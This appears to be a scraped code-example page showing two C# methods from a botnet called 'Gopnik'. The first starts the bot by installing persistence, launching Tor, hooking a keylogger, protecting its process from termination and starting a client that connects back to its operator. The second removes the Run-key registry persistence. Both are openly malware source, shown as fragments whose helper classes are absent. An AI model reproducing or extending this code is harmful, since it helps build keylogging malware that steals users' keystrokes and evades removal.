Beispiel #1
0
        public static void StartGopnik()
        {
            APIEngine = new CDynamicAPI();

#if !DEBUG
            if (!CMalwareStartup.InstallBot())
            {
                return;
            }
#endif
            BotConfig = new CConfig();

            if (!CUtils.IsSingleInstance(out mInstance))
            {
                return;
            }

#if !DEBUG
            if (!CTorLoader.StartTor())
            {
                return;
            }
            Thread.Sleep(10000);
#endif
            CKeylogger.ApplyHook();

            CProcessProtection.ProtectProcess(true);

            m_GopnikClient = new CGopnikClient();
            m_GopnikClient.Start();

            Application.Run();

            m_GopnikClient.Stop();
        }
Beispiel #2
0
        public static bool UninstallBot()
        {
#if !DEBUG
            if (!CRegistry.DeleteRegValue(CUtils.IsElevated() ? Registry.LocalMachine : Registry.CurrentUser, @"Software\Microsoft\Windows\CurrentVersion\Run", strRegistryName))
            {
                return(false);
            }
#endif
            if (!CProcessProtection.ProtectProcess(false))
            {
                return(false);
            }

            bRegistryPersistance = false;
            return(true);
        }